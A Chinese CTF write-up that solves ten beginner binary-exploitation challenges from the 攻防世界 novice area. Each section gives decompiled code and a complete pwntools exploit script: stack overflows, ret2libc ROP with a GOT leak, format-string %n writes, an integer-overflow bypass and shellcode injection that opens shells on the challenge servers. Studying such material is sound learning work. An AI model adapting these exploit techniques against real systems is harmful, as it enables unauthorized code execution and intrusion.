文章目录
0X00 hello_pwn
下载文件,拖入Ubuntu用checksec查看,64位文件,开启了NX保护。
拖入ida查看,read函数读取输入赋值给unk_601068
,然后判断dword_60106C
是否等于nuaa
,相等则执行sub_400686()
函数:
sub_400686()
函数就会输出flag。
我们只要通过read函数使得栈溢出覆盖dword_60106C
的值使其等于nuaa
即可。
查看unk_601068
与dword_60106C
在bbs段的地址,计算偏移值。
附上脚本:
from pwn import *
r=remote("220.249.52.133",52402)
payload='A'*(0x6c-0x68)+'aaun'
r.recvuntil("lets get helloworld for bof\n")
r.sendline(payload)
r.interactive()
0X01 when_did_you_born
下载文件,用checksec检查,64位文件,开启了Canary和NX保护。
拖入ida查看
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 result; // rax
char v4; // [rsp+0h] [rbp-20h]
unsigned int v5; // [rsp+8h] [rbp-18h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("What's Your Birth?");
__isoc99_scanf("%d", &v5);
while ( getchar() != 10 )
;
if ( v5 == 1926 )
{
puts("You Cannot Born In 1926!");
result = 0LL;
}
else
{
puts("What's Your Name?");
gets(&v4);
printf("You Are Born In %d\n", v5);
if ( v5 == 1926 )
{
puts("You Shall Have Flag.");
system("cat flag");
}
else
{
puts("You Are Naive.");
puts("You Speed One Second Here.");
}
result = 0LL;
}
return result;
}
先读取参数v5
,要使得v5
不等于1926进入else,然后gets()
读取参数v4
,之后判断v5
是否等于1926,如果是的话就输出flag。
我们可以使用v4
栈溢出来覆盖原本v5
的值使其等于1926,从而达到我们的目的。
查看v4和v5在栈上的位置,计算偏移量。
最后是exp,先发送出一个不是1926的值给v5,然后发送payload即可:
from pwn import *
r=remote("220.249.52.133",54866)
payload='a'*(0x20-0x18)+p64(1926)
r.recvuntil("What's Your Birth?\n")
r.sendline("0")
r.recvuntil("What's Your Name?\n")
r.sendline(payload)
r.interactive()
0X02 level0
下载文件,用checksec检查,64位文件,开启了NX保护。
拖入ida查看,read函数明显的溢出点
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function(1LL, "Hello, World\n");
}
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
return read(0, &buf, 0x200uLL);
}
同时我们还发现了callsystem()
函数,通过read函数的溢出,覆盖返回地址指向callsystem()
函数,即可拿到shell。
int callsystem()
{
return system("/bin/sh");
}
最后是exp:
from pwn import *
r=remote("220.249.52.133",53324)
system = 0x400596
payload='a'*(0x80+0x8)+p64(system)
r.sendline(payload)
r.interactive()
0X03 level2
level2题目提示说是面向返回的编程(ROP)。
从已有的库或可执行文件中提取指令片段,构建恶意代码。
下载文件,用checksec检查保护机制,32位文件,开启了NX保护
拖入ida,显然溢出点在vulnerable_function()
函数的read函数,偏移量为0x88+4
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
system("echo Input:");
return read(0, &buf, 0x100u);
}
查看system()
函数的地址
查找有无字符串/bin/sh
拿到system()
函数和字符串/bin/sh
的地址,就可以写payload了:
from pwn import *
io = remote('220.249.52.133',44159)
sys_addr = 0x0804845C
sh_addr = 0x0804A024
payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(sh_addr)
io.sendlineafter("Input:\n",payload)
io.interactive()
0x04 CGfsb
下载文件,用checksec检查保护机制,32位文件,开启了canary和NX保护
拖入ida,要求输入两个参数,一个name,一个message,分别对应buf
和s
。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int buf; // [esp+1Eh] [ebp-7Eh]
int v5; // [esp+22h] [ebp-7Ah]
__int16 v6; // [esp+26h] [ebp-76h]
char s; // [esp+28h] [ebp-74h]
unsigned int v8; // [esp+8Ch] [ebp-10h]
v8 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
buf = 0;
v5 = 0;
v6 = 0;
memset(&s, 0, 0x64u);
puts("please tell me your name:");
read(0, &buf, 0xAu);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
else
{
puts("Thank you!");
}
return 0;
}
然后输出名字printf("hello %s", &buf);
输出消息printf(&s);
由于在输出消息的时候没有将字符串格式化,就有可能触发格式化字符串漏洞。
将文件运行起来,先输入AAAA
,然后输入AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
,确定了格式化字符串的偏移是10。
sakura@ubuntu:~/Desktop$ ./cgfsb;echo $?
please tell me your name:
AAAA
leave your message please:
AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
hello AAAA
your message is:
AAAA 0xffe1512e 0xf7f085a0 0xf0b5ff 0xffe1515e 0x1 0xc2 0x4141579b 0xa4141 (nil) 0x41414141 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025
Thank you!
0
然后我们需要将pwnme的值给覆盖为8,然后就能拿到flag。
打开ida,点击pwnme,位于bbs段,得到pwnme的地址。
于是就可以写出payloadpayload = p32(pwnme_addr) + 'aaaa' + '%10$n'
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
将pwnme的地址写入,由于偏移量为10,所以是%10$n,然后p32(pwnme_addr)
的长度为4,所以加上任意四个字符凑齐八个即可。
from pwn import *
#sh = process('./cgfsb')
sh = remote('220.249.52.133',51752)
pwnme = 0x804a068
sh.sendline("aaaa")
payload = p32(pwnme) + 'aaaa' + '%10$n'
sh.sendline(payload)
sh.interactive()
0x05 guess_num
下载文件先看看保护机制,开启了Canary,NX和PIE。。64位文件。
拖入ida反编译看看源代码嘛。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
v9 = __readfsqword(0x28u);
v4 = 0;
v6 = 0;
*(_QWORD *)seed = sub_BB0();
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:", 0LL);
gets(&v7);
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
v6 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v4);
puts("---------------------------------");
if ( v4 != v6 )
{
puts("GG!");
exit(1);
}
puts("Success!");
}
sub_C3E();
return 0LL;
}
__int64 sub_C3E()
{
printf("You are a prophet!\nHere is your flag!");
system("cat flag");
return 0LL;
}
我们输入十个数字,如果十次都与rand()生成的随机数相同,那么就会调用sub_C3E()
函数拿到flag。
rand()函数用来产生随机数,但是,rand()的内部实现是用线性同余法实现的,是伪随机数,由于周期较长,因此在一定范围内可以看成是随机的。
rand()会返回一个范围在0到RAND_MAX(32767)之间的伪随机数(整数)。
在调用rand()函数之前,可以使用srand()函数设置随机数种子,如果没有设置随机数种子,rand()函数在调用时,自动设计随机数种子为1。随机种子相同,每次产生的随机数也会相同。
这里srand()
设置的seed如果是我们可控的话,那么rand()
每次产生的随机数也就是固定的,我们可以使得输入覆盖掉栈中的seed,从而达到随机数可控的目的。
通过v7的输入覆盖掉seed,偏移量为0x20。
payload1可以写为payload = 'a'*0x20 + 'aaaa'
,seed就被覆盖为了aaaa。
然后我们可以写一个小程序来看看seed为aaaa时,生成的随机数是多少。
#include<stdio.h>
#include<stdlib.h>
int main()
{
int key;
srand(0x61616161);
for(int i = 0; i < 10;i++){
key = rand()%6+1;
printf("%d\n",key);
}
return 0;
}
/*
Output:
5
6
4
6
6
2
3
6
2
2*/
这样就拿到了可控的随机数,就可以写exp了。
from pwn import *
#sh = process("./guess")
sh = remote("220.249.52.133",36909)
payload1 = 'a' * 0x20 + 'aaaa'
sh.sendline(payload1)
num = ['5','6','4','6','6','2','3','6','2','2']
for i in range(0,10):
sh.sendline(num[i])
sh.interactive()
0x06 cgpwn2
下载文件用checksec检查保护机制,开启了NX保护的32位文件。
将文件拖入ida查看伪代码,main()
函数会调用一个hello()
函数,主要代码如下,两次输入,一次name,一次s。
很明显s的输入处没有输入限制,存在栈溢出漏洞。
char *hello()
{
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets(&s);
}
然后还能找到system()
函数,于是我们可以利用栈溢出返回地址到system函数处,然后给他一个/bin/sh
字符串就能拿到shell。
我们双击name,可以发现name处在bss段,于是可以利用其构造一个/bin/sh
字符串。
然后是exp:
from pwn import *
#io = process('./cg2')
io = remote('220.249.52.133',47060)
system = 0x08048420
bin_sh = 0x0804A080
io.recvuntil("please tell me your name")
io.sendline('/bin/sh')
io.recvuntil("hello,you can leave some message here:")
payload = 'a' * (0x26 + 4) + p32(system) + 'aaaa' + p32(bin_sh)
io.sendline(payload)
io.interactive()
0x07 int_overflow
下载文件用checksec检查保护机制,开启了NX保护的32位文件。
拖入ida查看,主要代码如下,首先main函数中输入v4的值,v4等于4则进入login()
函数。
login()
函数中,输入username s,输入密码buf,s限制输入长度0x19,buf限制输入长度0x199,都在申请的空间范围之内。然后会调用check_passwd
函数,并将buf作为参数传入。
check_passwd
函数中会判断传入参数buf的长度,并将值赋给v3,注意到了v3的数据类型是unsigned __int8
。判断v3的大小,我们得让v3的大小在4到8之间(v3 > 3u || v3 <= 8u
),然后会接着执行代码result = strcpy(&dest, s);
,将我们传入的参数buf复制到dest中。还有一个后门函数what_is_this()
可以利用。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+Ch] [ebp-Ch]
__isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
login();
}
else
{
if ( v4 == 2 )
{
puts("Bye~");
exit(0);
}
puts("Invalid Choice!");
}
return 0;
}
int login()
{
char buf; // [esp+0h] [ebp-228h]
char s; // [esp+200h] [ebp-28h]
memset(&s, 0, 0x20u);
memset(&buf, 0, 0x200u);
puts("Please input your username:");
read(0, &s, 0x19u);
printf("Hello %s\n", &s);
puts("Please input your passwd:");
read(0, &buf, 0x199u);
return check_passwd(&buf);
}
char *__cdecl check_passwd(char *s)
{
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
result = strcpy(&dest, s);
}
return result;
}
int what_is_this()
{
return system("cat flag");
}
这里根据题目int_overflow,再结合v3的数据类型unsigned __int8
,无符号int8整数,然后判断v3的大小,应该就是整数溢出了。无符号int8整数占1个字节,大小范围就是0到255。
- Int8, 等于Byte, 占1个字节.
- Int16, 等于short, 占2个字节.
- Int32, 等于int, 占4个字节.
- Int64, 等于long, 占8个字节.
如果无符号int8的值超过了255,那么换算成二进制后,就会将高位舍去,保留低位的八位二进制数。
255转换成二进制就是1111 1111
,1111 1111 + 1 = 1 0000 0000
,高位的1就会被舍去,就变成了255+1=0
。
我们可以利用整数的溢出来绕过对输入长度的限制。如果我们的输入长度在260-264之间,v3的值就会在4-8之间,就满足了条件,可以进一步执行。
最后是exp:
from pwn import *
io = remote("220.249.52.134",35121)
#io = process('./int_overflow')
system = 0x804868B
payload = 'a' * (0x14 + 0x4) + p32(system) + 'a' * (262 - len('a' * (0x14 + 0x4) + p32(system)))
io.recvuntil("Your choice:")
io.sendline('1')
io.recvuntil("Please input your username:\n")
io.sendline('username')
io.sendafter('passwd:',payload)
io.interactive()
0x08 level3
下载文件,得到一个ELF可执行文件和一个 32 位的 libc 运行库,先检查ELF的保护机制:
拖入ida,vulnerable_function()中存在明显的栈溢出,分配了0x88的空间,能输入0x100的内容。
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}
但是在程序中并没有找到现成的system()
函数和'/bin/sh'
字符串,所以只能从附件中的另一个文件下手,这是一个运行库文件,我们的目的是要通过它来获得两者的地址。
我们通过对 libc 进行 checksec 检查,发现它是开启了 pie 的,而现代操作系统一般都开启了 ASLR ,所以库函数在每次运行时都会被加载到不同的位置,但是由于函数间的相对位置是确定的,那么只要能知道其中一个函数的真正地址,我们就可以计算出任意库函数的地址,这里我们的目标是从 got表 中获取 write 函数的地址,所以要获得的是 system 和 “/bin/sh” 与它的相对位置。
首先要获得 write
和 system
的相对位置,由于库文件本质上是一个位置无关的 elf ,所以可以使用 readelf 工具来查看它的信息,readelf 有一个选项 -s 可用于输出符号表,结合 grep 工具和管道可以用来查找两个函数的位置,具体命令为 readelf -s libc_32.so.6|grep 函数名
,找到 write@@GLIBC_2.0
和 system@@GLIBC_2.0
,用 system 的第二列减掉 write 的第二列得到相对位置 -0x99a80
使用命令 ROPgadget --binary libc_32.so.6 --string '/bin/sh'
找到字符串 /bin/sh
在libc文件中的位置。
于是可以写出第一个payload了
payload = 'a' * 0x8c + p32(elf.plt['write']) + p32(elf.symbols['main']) + p32(1) + p32(elf.got['write']) + p32(10)
先填充payload至ret处,然后将 elf.plt['write']
传给ret处,使得eip指向此处执行write函数,write函数返回地址就重新指向main函数p32(elf.symbols['main'])
,使得可以重新利用main函数,可以再一次输入新的payload。然后p32(1) + p32(elf.got['write']) + p32(10)
,三个参数分别对应了write函数的三个参数,将write函数在got表中的地址泄露出来。
然后使用write_addr = u32(io.recv()[:4])
存下输出的write函数地址。
第二个payload
payload = 'a' * 0x8c + p32(write_addr - 0x99a80) + 'aaaa' + p32(write_addr + 0x84c6b)
p32(write_addr - 0x99a80)
就是system函数的实际地址,伪造一个随机的返回地址aaaa
,然后传入/bin/sh
字符串,拿到shell。
最后是exp:
from pwn import *
io = remote("220.249.52.134",40001)
elf = ELF("./level3")
payload = 'a' * 0x8c + p32(elf.plt['write']) + p32(elf.symbols['main']) + p32(1) + p32(elf.got['write']) + p32(10)
io.recv()
io.sendline(payload)
write_addr = u32(io.recv()[:4])
payload = 'a' * 0x8c + p32(write_addr - 0x99a80) + 'aaaa' + p32(write_addr + 0x84c6b)
io.sendline(payload)
io.interactive()
0x09 string
下载文件,检查一下保护机制,开得还挺多的。
拖入ida反编译一下,先来分析一下。
首先是main函数,先调用函数sub_400996()
,输出一堆东西,然后给指针v3分配空间,然后使得v3[0] = 68
,v3[1] = 85
,然后输出他们的地址,将v4作为参数传入函数sub_400D72()
。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_DWORD *v3; // rax
__int64 v4; // ST18_8
sub_400996();
v3 = malloc(8uLL);
v4 = (__int64)v3;
*v3 = 68;
v3[1] = 85;
printf("secret[0] is %x\n", v4, a2);
printf("secret[1] is %x\n", v4 + 4);
sub_400D72(v4);
return 0LL;
}
sub_400D72
函数中,接收我们的输入s,要使得s的长度小于等于0xc,执行接下来的三个函数。
unsigned __int64 __fastcall sub_400D72(__int64 a1)
{
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
_isoc99_scanf("%s", &s);
if ( strlen(&s) <= 0xC )
{
sub_400A7D();
sub_400BB9();
sub_400CA6((_DWORD *)a1);
}
else
{
puts("Hei! What's up!");
}
return __readfsqword(0x28u) ^ v3;
}
sub_400A7D()
函数中,是一个while循环,输入s1,只能等于east,否则会一直死循环。
unsigned __int64 sub_400A7D()
{
char s1; // [rsp+0h] [rbp-10h]
while ( 1 )
{
_isoc99_scanf("%s", &s1);
if ( !strcmp(&s1, "east") || !strcmp(&s1, "east") )
break;
}
if ( strcmp(&s1, "east") )
{
if ( !strcmp(&s1, "up") )
sub_4009DD(&s1, "up");
exit(0);
}
return __readfsqword(0x28u) ^ v2;
}
接下来进入sub_400BB9()
函数,输入v1,使其等于1,然后输入两个参数,就到了我们的重头戏,printf(&format, &format);
,格式化字符串漏洞。
unsigned __int64 sub_400BB9()
{
int v1; // [rsp+4h] [rbp-7Ch]
__int64 v2; // [rsp+8h] [rbp-78h]
char format; // [rsp+10h] [rbp-70h]
unsigned __int64 v4; // [rsp+78h] [rbp-8h]
v4 = __readfsqword(0x28u);
v2 = 0LL;
_isoc99_scanf("%d", &v1);
if ( v1 == 1 )
{
_isoc99_scanf("%ld", &v2);
puts("And, you wish is:");
_isoc99_scanf("%s", &format);
puts("Your wish is");
printf(&format, &format);
puts("I hear it, I hear it....");
}
return __readfsqword(0x28u) ^ v4;
}
然后是sub_400CA6()
函数,如果*a1 == a1[1]
,就可以输入一串字符串,并且通过函数指针进行强制类型转换,将刚才的输入转换成一个函数,最后执行。也就是说我们可以传入一串shellcode拿到shell。这里的a1,就是main函数最开始的v3,也就是要使得v3[0] == v3[1]
。可以利用之前的格式化字符串漏洞。
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
void *v1; // rsi
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( *a1 == a1[1] )
{
puts("Wizard: I will help you! USE YOU SPELL");
v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
read(0, v1, 0x100uLL);
((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
}
return __readfsqword(0x28u) ^ v3;
}
运行一下这个程序,地址输入12341234,然后format输入AAAAAAAA然后接上一堆%p,将栈上的内容以指针的形式泄露出来,发现输入的addr偏移为7,AAAAAAAA偏移为8。
所以之前的addr我们可以传入v3[0]
的地址,这里的payload就可以写为
payload = 'A' * 85 + "%7$n"
将偏移量为7的地方对应的地址修改为格式化字符串之前字符的数量,也就是85,使得v3[0]
等于v3[1]
的值,然后就可以传入shellcode了。
最后是exp:
from pwn import *
context(arch = 'amd64', os = 'linux')
io = remote("220.249.52.134", 44013)
#io = process("./string")
io.recvuntil("secret[0] is ")
addr = int(io.recvuntil("\n")[:-1], 16)
io.recvuntil("What should your character's name be:\n")
io.sendline("so4ms")
io.recvuntil("So, where you will go?east or up?:\n")
io.sendline("east")
io.recvuntil("go into there(1), or leave(0)?:\n")
io.sendline("1")
io.recvuntil("'Give me an address'\n")
io.sendline(str(addr))
io.recvuntil("And, you wish is:\n")
payload = 'A' * 85 + "%7$n"
io.sendline(payload)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()
攻防世界新手区(完)